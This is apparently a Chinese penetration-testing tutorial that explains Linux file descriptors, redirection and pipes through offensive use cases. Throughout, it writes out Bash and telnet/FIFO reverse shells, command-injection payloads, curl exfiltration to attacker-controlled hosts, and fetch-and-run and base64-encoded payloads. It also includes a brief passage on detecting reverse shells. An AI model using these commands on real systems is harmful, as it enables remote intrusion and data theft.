前言
在渗透测试中,获取目标系统的shell往往是最终目标。而在这个过程中,我们经常会遇到各种阻碍:防火墙限制出站连接、命令执行环境没有交互终端、关键命令被关键字过滤等。要优雅地解决这些问题,深入理解Linux的文件描述符和重定向机制至关重要。
本文将带你从零开始,深入理解这些底层概念,并剖析它们在反弹Shell、权限提升和信息收集等实战场景中的具体应用。
文件描述符
什么是文件描述符?
在Linux系统中,“一切皆文件”。普通文件、目录、键盘、显示器、甚至网络连接,都被抽象为文件。当一个进程打开这些资源时,内核会返回一个非负整数作为标识,这个数字就是文件描述符(File Descriptor,FD)。进程后续对该资源的所有操作(读、写、关闭)都需要通过这个文件描述符。
每个进程都维护着一张文件描述符表,表中的每个条目都指向内核中一个打开文件对象的指针.
那具体如何查看?
通过/proc文件系统可以查看
每个进程在/proc下都有一个以它的 PID 命名的目录,其中的fd/子目录包含了该进程当前打开的所有文件描述符的符号链接,如下可以查看到所有的进行的PID:
然后我们进入到它的FD目录下:查看,就可以看到该进程的所有文件描述符,箭头后面是该描述符指向的实际资源,比如0,指向键盘输入
也可以适用lsof -p 1764 这种方式查看:
在溯源,风险排查等场景,这两个命令常用于检测反弹 Shell。例如,如果你怀疑某个进程是反弹 Shell,可以检查它的0、1、2号文件描述符是否指向了一个网络连接(socket),而不是本地终端。如果看到类似socket:[123456]或IP地址:端口的输出,就说明该进程的输入输出已经被重定向到网络,很可能是攻击者建立的远程控制通道。
标准文件描述符
每个Linux进程在启动时,都会默认打开三个标准的I/O流,它们占据了文件描述符表的前三项:
文件描述符 | 名称 | 代号 | 默认设备 | 常见用途 |
|---|
0 | 标准输入 | stdin | 键盘 | 程序读取输入数据的地方 |
1 | 标准输出 | stdout | 显示器 | 程序输出正常结果的地方 |
2 | 标准错误输出 | stderr | 显示器 | 程序输出错误或诊断信息的地方 |
理解这三点是理解重定向和反弹Shell的关键。比如上面的例子,fd 显示0 ,箭头后面的指向就是/dev/pts/0 其实就是键盘输入
重定向符号深度解析
>就是 Linux 中最常用的输出重定向符号。它的作用是将一个命令的标准输出(stdout,文件描述符 1)写入到指定的文件中,如果文件已存在则会覆盖原内容。
基础重定向
相信我们经常在别人的反弹shell的时候看到><&各种符号:如下解释
符号 | 作用 | 示例 | 解释 |
|---|
>或1> | 将标准输出(stdout)重定向到文件(覆盖) | echo "hello" > file.txt | 将"hello"写入file.txt,覆盖原内容。 |
>>或1>> | 将标准输出(stdout)重定向到文件(追加) | echo "world" >> file.txt | 将"world"追加到file.txt末尾。 |
<或0< | 将文件内容重定向为标准输入(stdin) | cat < file.txt | 将file.txt的内容作为cat命令的输入。 |
2> | 将标准错误(stderr)重定向到文件(覆盖) | ls /nonexistent 2> error.log | 将错误信息写入error.log,屏幕不再显示错误。 |
2>> | 将标准错误(stderr)重定向到文件(追加) | ls /nonexistent 2>> error.log | 将错误信息追加到error.log末尾。 |
举个简单的例子:
比如我们在终端输入cat,然后随便敲一些字符并按回车,你会看到你敲的每一行都被cat原样输出。这里:
如果你把 stdout 重定向到文件:比如 cat > 12345.txt
再次敲字符,屏幕上就看不到你敲的内容了(因为 stdout 重定向到了文件),但你依然能输入(stdin 没变)。输入完毕后按 Ctrl+C,查看12345.txt就能看到你敲的内容。默认情况>表示1>,默认重定向的是1,标准输出
重定向的本质,就是改变文件描述符默认指向的目标。例如,让本该输出到屏幕(stdout)的数据,输出到一个文件或网络连接。这就是shell的建立原理
高级重定向:合并输出
这是渗透测试中最常使用的技巧,目的是将标准输出和标准错误合并到同一个目标。
符号 | 作用 | 示例 | 深度解释 |
|---|
2>&1 | 将标准错误(stderr,FD2)重定向到标准输出(stdout,FD1)当前指向的地方 | command > file 2>&1 | 顺序很重要!先让FD1指向file,再将FD2指向FD1指向的地方,最终两者都指向file。 |
>&或&> | 将标准输出和标准错误同时重定向(Bash特有) | command &> file | 这是> file 2>&1的简写形式,效果相同。 |
0>&1 | 将标准输入(stdin,FD0)重定向到标准输出(stdout,FD1)当前指向的地方 | 见下文反弹Shell示例 | 这个命令用于将远程输入注入到本地shell的stdin中。 |
深入理解2>&1中的&这里的&不是“和”的意思,而是一个标记,告诉Shell后面的1是文件描述符,而不是一个名为“1”的普通文件。如果没有&,写成2>1,Shell会认为你想把错误输出重定向到一个名为1的文件。
>& 或 &>:比如>& /dev/null 相当于将1>/dev/null ,再把2 > &1 ,得到的结果就是1,2和都重定向到 /dev/null
特殊设备:/dev/tcp
Bash中有一个特殊的设备文件:/dev/tcp/IP/端口。打开这个文件,就相当于发起了一个TCP网络连接。读写这个文件,就是在网络连接中传输数据。这使得我们可以将重定向的目标从普通文件扩展为网络套接字。
例如:echo hello > /dev/tcp/192.168.1.1/4444会将"hello"字符串发送到IP为192.168.1.1主机的4444端口。
从原理到实践——剖析经典的反弹Shell命令
理解了上述原理,我们现在可以彻底剖析渗透测试中最经典的Bash反弹命令了
首先攻击机监听nc -lvnp 12345,如下:
目标机(执行):bash -i >& /dev/tcp/192.168.1.1/12345 0>&1
然后就得到了一个反弹shell
让我们用文件描述符的知识,一步步拆解这个命令:
bash -i:在目标机上启动一个交互式的Bash shell。交互式模式意味着它会有一个标准输入(等待用户输入)和一个标准输出/错误(显示结果)。
>& /dev/tcp/192.168.1.1/4444:这部分是重定向。>&将bash -i的标准输出(FD1)和标准错误(FD2)都合并重定向到 /dev/tcp/... 这个特殊的网络连接上。换句话说,这个交互式Shell产生的所有正常输出和错误信息,都会被直接发送到攻击机的4444端口。
0>&1:这部分是核心。0>&1将标准输入(FD0)重定向到标准输出(FD1)当前指向的地方。此时,FD1已经指向了网络连接。所以,这条命令的意思是:将Shell的标准输入也重定向到同一个网络连接上。
效果:
攻击机在监听。
目标机执行命令后,其Bash Shell的输入被绑定到网络连接,输出和错误也被绑定到网络连接。
当攻击机在nc里敲下命令时,数据通过网络连接,作为stdin送入目标机的Bash。
Bash执行命令,结果(stdout)和错误(stderr)又通过网络连接,显示在攻击机的nc窗口上。
这样就形成了一个完整的、交互式的远程Shell.
下面的命令效果完全相同:
bash -i > /dev/tcp/192.168.1.1/12345 2>&1 0>&1
这个写法更清晰地展示了先合并stdout(1)和stderr(2)到网络,再将stdin(0)也指向1的过程
如果想要创建正向的shell,建议使用nc或者其他工具,因为如果只有bash是无法使用正向shell的
为什么?
因为Bash 的/dev/tcp是一个虚拟设备,它只能用于发起出站的 TCP 连接(即作为客户端),而不能用于监听入站的连接(即作为服务器)。Bash 本身并没有实现 TCP 服务器的功能,因此无法单独使用 Bash 在本地打开一个端口等待别人连接。所以需要借助其他工具,比如nc,但是如果有nc了,那么我可以直接使用nc 发起,反而更简单。
管道在反弹 Shell 中的应用
| 管道符(匿名管道)
管道符号|的作用很简单:将前一个命令的标准输出(stdout)连接到后一个命令的标准输入(stdin)。从而让多个命令协同工作,形成数据流水线。
匿名管道在内核中表现为一个管道文件描述符,一端用于写,一端用于读。shell 通过pipe()系统调用创建管道,然后将前一个命令的 stdout 重定向到管道的写端,将后一个命令的 stdin 重定向到管道的读端。
命名管道(FIFO)
命名管道(也称为 FIFO,First In First Out)是一种特殊的文件类型(在ls -l中显示为p),它存在于文件系统中,有一个路径名。任何有权限的进程都可以通过这个文件名打开它,进行读写,从而实现无亲缘关系进程间的通信。
有名字,存在于文件系统:可以用 rm 命令删除。
可用于任意进程:只要拥有适当的权限,两个不相关的进程可以通过它交换数据。
阻塞读写:默认情况下,如果写进程打开管道,但没有读进程,写操作会阻塞(等待);同样,读进程打开管道时,如果没有写进程,读操作也会阻塞。这保证了数据的同步。
数据在内核中流动,不落盘:虽然看起来像文件,但数据不会写入磁盘,而是在内存中传递,读出后即被丢弃。
创建命令:mkfifo 管道文件名
# 例如 mkfifo /tmp/myfifo
在反弹 Shell 中,用于构建双向通信(如telnet配合命名管道实现交互式 shell)
在只有telnet和基本 shell 的环境中,经典命令:
rm -f /tmp/myfifo; mkfifo /tmp/myfifo; cat /tmp/myfifo | /bin/sh -i 2>&1 | telnet attacker_ip port > /tmp/myfifo
命令分解:rm -f /tmp/myfifo; mkfifo /tmp/myfifo; cat /tmp/myfifo | /bin/sh -i 2>&1 | telnet 你的IP 端口> /tmp/myfifo
这个命令分三部分执行,用分号;分隔。我们一步步拆解。
准备阶段
核心管道链
cat /tmp/myfifo | /bin/sh -i 2>&1 | telnet 你的IP 端口> /tmp/myfifo
这是最关键的部分,它实际上是一个管道链,用三个|连接了三个命令,最后还有一个输出重定向> /tmp/myfifo 。整个结构可以看作是三个进程通过管道和重定向连接起来,形成一个环形的数据流。
让我们拆开看每一个环节:
环节一:cat /tmp/myfifo
cat /tmp/myfifo 从命名管道 /tmp/myfifo 中读取数据。
谁向这个管道写数据?是后面的 telnet 命令通过 > /tmp/myfifo 写入的(后面会解释)。也就是说,cat 读取的是攻击者通过 telnet 发送过来的命令。
cat 读取到的数据(攻击者的命令)被通过管道 | 传递给下一个命令的标准输入。
环节二:/bin/sh -i 2>&1
它从标准输入(也就是 cat 的输出)读取命令并执行。
-i 选项让 shell 以交互模式运行,这样它会显示提示符,并正确处理作业控制等,使体验更像一个正常的 shell。
2>&1 将标准错误(fd 2)重定向到标准输出(fd 1)。这样,shell 执行命令产生的所有输出(包括错误信息)都合并到标准输出中,然后通过管道 | 传递给下一个命令。
环节三:telnet 你的IP 你的端口 > /tmp/myfifo
telnet 连接到攻击者的 IP 和端口,建立一个 TCP 连接。
telnet 的标准输出(fd 1)被重定向到命名管道 /tmp/myfifo (通过 > /tmp/myfifo )。这意味着所有从攻击者发送过来的数据(攻击者在 telnet 会话中输入的字符)都被写入到命名管道 /tmp/myfifo 中。
同时,telnet 的标准输入是从上一个命令(即 /bin/sh -i 的输出)通过管道 | 传递过来的。也就是说,shell 的执行结果会通过管道进入 telnet 的标准输入,然后被 telnet 发送到攻击者的机器上。
我们可以把整个过程看作一个环形数据流:
攻击者输入 (通过 telnet) → 写入命名管道 /tmp/myfifo ← cat 从管道读取 ↑ ↓ │ │ telnet 发送给攻击者 cat 传给 /bin/sh ↑ ↓ │ │ telnet 从管道读取 ←─ /bin/sh 的输出写入 telnet 的标准输入
我们在VM中其中两个系统来实验一下:如下被攻击系统执行:
然后在Linux系统中进行了监听:
成功得到一个反弹shell。当然这里也可以不用telnet,可以使用nc或者其他方式。只是做个例子。
输入重定向<
输入重定向<将文件内容作为命令的标准输入(stdin)。虽然看似简单,但在受限环境中可以巧妙地完成许多任务。这个与前面的>输出重定向是反过来的。
在命令注入中,空格往往是被过滤的目标。利用<可以避免空格的使用
比如正常使用cat 读取内容,是需要空格的如:cat /etc/passwd
如果使用<就可以不适用空格直接:cat</etc/passwd
如果cat也被禁用,可以结合其他命令,如</etc/passwd sh会执行一个 shell 并从文件读取命令,但更常见的做法是:
# 利用 shell 内置命令 read 结合重定向 while IFS= read -r line; do echo "$line"; done < /etc/passwd
作为文件描述符操作的前奏
结合exec命令,<可以将文件绑定到指定文件描述符,用于后续的读写操作。例如:
可以先通过exec命令将对应的文件绑定到指定的文件描述符:exec 33< /etc/passwd,然后通过cat 或者其他可读取的方式,读取这个文件描述符的内容如下:cat <&33 得到具体内容
管道符|的其他用途
在渗透测试的信息收集阶段,管道可以快速筛选、提取目标系统中的关键信息
命令注入与绕过:在 Web 命令注入中,管道符是常用的分隔符,用于拼接额外命令。即使某些符号被过滤,还可以利用管道特性结合其他技巧绕过。
比如常见的
# 基本注入:127.0.0.1 | whoami # 如果 | 被过滤,尝试使用未过滤的符号组合 127.0.0.1 || whoami # 逻辑或(前一条失败才执行) 127.0.0.1 && whoami # 逻辑与(前一条成功才执行) 127.0.0.1 %0a whoami # 换行符(需要 URL 编码)
此外,管道符还可以与命令替换结合,实现更复杂的执行:比如当目标环境没有直接回显时(盲注),可以利用管道将命令输出通过其他协议发送到攻击者服务器,实现数据外带如下:
echo "root{$(cat /tmp/1234.txt)}" | curl -G -d @- http://123.123.123.1:8888/
在自己的服务器上接收数据
无文件执行与下载执行
通过管道直接将远程脚本传递给 shell 执行,避免写入磁盘,这是一种常见的无文件攻击方式。
# 从 HTTP 下载并执行 curl -s http://attacker.com/payload.sh | bash # 或通过 wget wget -qO- http://attacker.com/payload.sh | sh # 结合 base64 解码执行 echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuMTIzLjEyMy4xLzQ0NDQgMD4mMQo=" | base64 -d | bash
这种技术可以绕过文件上传检测和磁盘扫描。
在复杂的利用链中,管道通常用于串联多个步骤,以及绕过一些特性检测
总结
在 Linux 系统中,<、>和|是三个核心的 I/O 控制符号,在渗透测试和 CTF 中有着广泛的应用。
>输出重定向:将命令的标准输出写入文件(覆盖或追加)。在反弹 Shell 中,常用于将 Shell 的输出指向网络连接(如 >/dev/tcp/ip/port);在数据外带时,可将结果保存到文件供后续读取。攻击者也可利用它将恶意命令的输出隐藏到文件中。
<输入重定向:将文件内容作为命令的标准输入。在受限环境中可绕过 cat 等读取命令(如 </etc/passwd grep root),还能配合循环逐行处理敏感文件;通过绑定到自定义文件描述符(exec 33< file),实现更灵活的输入控制。
|管道符:将前一个命令的标准输出连接到后一个命令的标准输入。它是命令注入中最常用的拼接符(如 127.0.0.1 | whoami),也可串联多个工具进行信息筛选(find / -perm -4000 2>/dev/null | xargs ls -l)、无文件执行(curl http://evil/payload | bash)以及数据外带(cat flag | base64 | curl -d @- http://attacker)。
三者常组合使用:bash -i >& /dev/tcp/ip/port 0>&1将输入输出全部重定向到网络,实现反向 Shell;cat /tmp/fifo | /bin/sh 2>&1 | nc ip port > /tmp/fifo则通过管道和命名管道构建双向通信。掌握这些符号能帮助我们在渗透测试中灵活控制数据流,绕过限制,并高效完成信息收集与利用。
# 渗透测试# web安全# linux安全# 网络安全技术# Linux系统
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。